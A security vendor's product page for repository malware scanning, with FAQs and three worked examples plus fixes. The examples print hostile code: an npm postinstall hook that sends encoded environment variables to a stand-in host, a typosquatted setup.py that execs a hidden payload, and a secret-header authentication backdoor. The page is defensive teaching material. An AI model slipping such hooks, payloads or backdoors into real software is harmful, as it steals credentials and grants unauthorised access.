Malware scanning for repositories
Malware scanning looks for code that may have been added to cause harm. Review each finding before you decide that it is malicious.
Included in Ultimate.
What it looks for
Backdoors
Hidden ways to get access to a system.
Hidden code
Code that has been made difficult to read and may be harmful.
Dependencies
Signs of malicious code in third-party packages.
Examples
These examples show common problems and safer ways to write the code. They are not AquilaX results, and scanner coverage can vary.
A postinstall hook that ships your tokens
CWE-506npmCritical// package.json
"scripts": { "postinstall": "node lib/setup.js" }
// lib/setup.js
const https = require("https");
const d = Buffer.from(JSON.stringify(process.env)).toString("base64");
https.get("https://telemetry-cdn.example/p?d=" + d);
npm runs postinstall automatically, on laptops and in CI. That environment usually holds NPM_TOKEN, GITHUB_TOKEN and cloud keys.
Real npm attacks, including the 2025 Shai-Hulud worm, used this exact route.
$ npm uninstall some-dep
$ npm ci --ignore-scripts # in CI
# then rotate every token that was in that environment
An encoded payload in a typosquatted package
CWE-506PyPICriticalimport base64 exec(base64.b64decode( "aW1wb3J0IG9zLGpzb24sdXJsbGliLnJlcXVlc3QgYXMg" "dTt1LnVybG9wZW4oJ2h0dHA6Ly8yMDMuMC4xMTMuMTEv..." )) setup(name="requets", version="2.31.0", ...)
A normal setup.py has no reason to decode and run a hidden string. This one runs during pip install and posts your environment variables to a remote server.
Look at the name too: requets, one letter away from requests.
$ pip uninstall requets
# requirements.txt: pin the real package with hashes
requests==2.32.3 --hash=sha256:...
$ pip install --require-hashes -r requirements.txt
A one-line authentication backdoor
CWE-912Node.jsCriticalfunction requireAuth(req, res, next) {
if (req.get("X-Debug-Session") === "b7e1c0d4") return next();
const token = req.get("Authorization")?.split(" ")[1];
if (!verify(token)) return res.sendStatus(401);
next();
}
One line, easy to miss in a 400-line PR, and anyone who knows the header skips login. It might be a leftover debug hook or something an insider planted. Either way it's a backdoor.
function requireAuth(req, res, next) {
const token = req.get("Authorization")?.split(" ")[1];
if (!verify(token)) return res.sendStatus(401);
next();
}
What to know
- Hidden or unusual code is not always malicious. Ask someone with security experience to review it.
- A scan with no findings does not prove that a repository is safe.
- If you find malicious code, do not run the project. Isolate any affected systems and follow your incident response plan.
Questions and answers
Is this an antivirus product?
No. It checks code repositories. It does not protect computers or servers while they are running.
What should I do with a suspicious finding?
Do not run the code. Keep a copy as evidence, find out where it came from and ask your security team to review it.
What is the difference between malware scanning and SCA?
Malware scanning looks for code that may be harmful on purpose. SCA looks for known vulnerabilities in open-source packages. A package can have either problem, or both.
Does no malware finding mean my project is safe?
No. Malicious code can be hidden or use methods that the scanner does not recognise. Use trusted sources, review changes and limit what builds can access.
Can a malicious package have no CVE?
Yes. Malicious packages are not always given a CVE. Check package names, maintainers and unexpected changes, as well as known vulnerabilities.
Why might safe code be reported?
Safe code can sometimes look suspicious, for example if it is hard to read or runs system commands. Ask someone with security experience to check it before you dismiss the finding.
Can I try malware scanning in the Premium trial?
No. Malware scanning is part of Ultimate, and the trial covers Premium. Talk to sales to see it.
Which plan includes this scanner?
Included in Ultimate. Compare plans.
Try it on one of your repositories
Create a free account and run a scan. If you need Ultimate, self-hosting or a larger rollout, talk to our team.
No credit card needed. Read the documentation